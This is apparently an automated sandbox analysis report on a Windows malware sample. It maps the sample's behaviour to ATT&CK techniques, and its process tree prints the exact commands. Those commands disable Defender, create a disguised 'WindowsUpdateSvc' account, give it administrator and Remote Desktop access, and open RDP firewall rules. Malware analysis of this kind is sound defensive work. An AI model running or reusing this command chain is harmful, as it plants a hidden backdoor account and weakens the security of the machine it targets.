Analysis

  • max time kernel
    148s
  • max time network
    141s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/09/2026, 23:53

General

  • Target
    034f7ae294e70be0c8d91553111bc17e7542fe651a7a68203f20255b1b7e079a.exe
  • Size 16KB
  • Sample260910-3xspcsxejb
  • SHA256 034f7ae294e70be0c8d91553111bc17e7542fe651a7a68203f20255b1b7e079a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Remote Service Session Hijacking: RDP Hijacking 1 TTPs 2 IoCs

    Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Modifies RDP port number used by Windows 1 TTPs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Looks up external IP address via web service 1 TTPs 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Creates a new local user account 1 TTPs 2 IoCs

    Uses net.exe to create a new local user account, often for persistence or a backdoor account.

  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\034f7ae294e70be0c8d91553111bc17e7542fe651a7a68203f20255b1b7e079a.exe
    "C:\Users\Admin\AppData\Local\Temp\034f7ae294e70be0c8d91553111bc17e7542fe651a7a68203f20255b1b7e079a.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3584
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue" -ExecutionPolicy Bypass
      2⤵
      • Disables one or more Microsoft Defender components
      • Command and Scripting Interpreter: PowerShell
      • Hide Artifacts: Ignore Process Interrupts
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3872
    • C:\Windows\SYSTEM32\net.exe
      "net" user WindowsUpdateSvc MySecurePass123! /add
      2⤵
      • Creates a new local user account
      • Suspicious use of WriteProcessMemory
      PID:4636
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 user WindowsUpdateSvc MySecurePass123! /add
        3⤵
        • Creates a new local user account
        PID:6088
    • C:\Windows\SYSTEM32\net.exe
      "net" localgroup "Remote Desktop Users" WindowsUpdateSvc /add
      2⤵
      • Remote Service Session Hijacking: RDP Hijacking
      • Suspicious use of WriteProcessMemory
      PID:5788
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 localgroup "Remote Desktop Users" WindowsUpdateSvc /add
        3⤵
        • Remote Service Session Hijacking: RDP Hijacking
        PID:4952
    • C:\Windows\SYSTEM32\netsh.exe
      "netsh" advfirewall firewall set rule group="Remote Desktop" new enable=Yes
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:5384
    • C:\Windows\SYSTEM32\netsh.exe
      "netsh" advfirewall firewall set rule group="Удаленный рабочий стол" new enable=Yes
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:1124
    • C:\Windows\SYSTEM32\net.exe
      "net" localgroup "Administrators" WindowsUpdateSvc /add
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:932
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 localgroup "Administrators" WindowsUpdateSvc /add
        3⤵
          PID:4700
      • C:\Windows\SYSTEM32\net.exe
        "net" localgroup "Administrators"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:5888
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 localgroup "Administrators"
          3⤵
            PID:2316
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $false -ErrorAction SilentlyContinue" -ExecutionPolicy Bypass
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Hide Artifacts: Ignore Process Interrupts
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:956
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k GPSvcGroup
        1⤵
          PID:5432

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 4e9379ae885c9cc347a5e74d86d24bbab2a8922017ebf83e3258af2688d2831c
              • MD5 SHA1 SHA512 TLSH

              __PSScriptPolicyTest_k2oexoe0.ljq.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k2oexoe0.ljq.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              memory/956-35-0x000001FDFBDE0000-0x000001FDFBE92000-memory.dmp

              memory/3584-0-0x0000000000410000-0x000000000041A000-memory.dmp

              memory/3584-1-0x00007FF82C18F000-0x00007FF82C190000-memory.dmp

              memory/3584-2-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

              memory/3584-37-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

              memory/3584-23-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

              memory/3872-14-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

              memory/3872-20-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

              memory/3872-10-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

              memory/3872-11-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

              memory/3872-8-0x000001DDFCBC0000-0x000001DDFCBE2000-memory.dmp

              memory/3872-15-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

              memory/3872-16-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

              memory/3872-19-0x000001DDFD0F0000-0x000001DDFD10E000-memory.dmp

              memory/3872-21-0x000001DDFD110000-0x000001DDFD1C2000-memory.dmp

              memory/3872-9-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

              memory/3872-22-0x000001DDFCC50000-0x000001DDFCC5A000-memory.dmp

              memory/3872-7-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

              memory/3872-26-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

              memory/3872-24-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

              memory/3872-6-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

              memory/3872-5-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

              memory/3872-4-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

              memory/3872-3-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp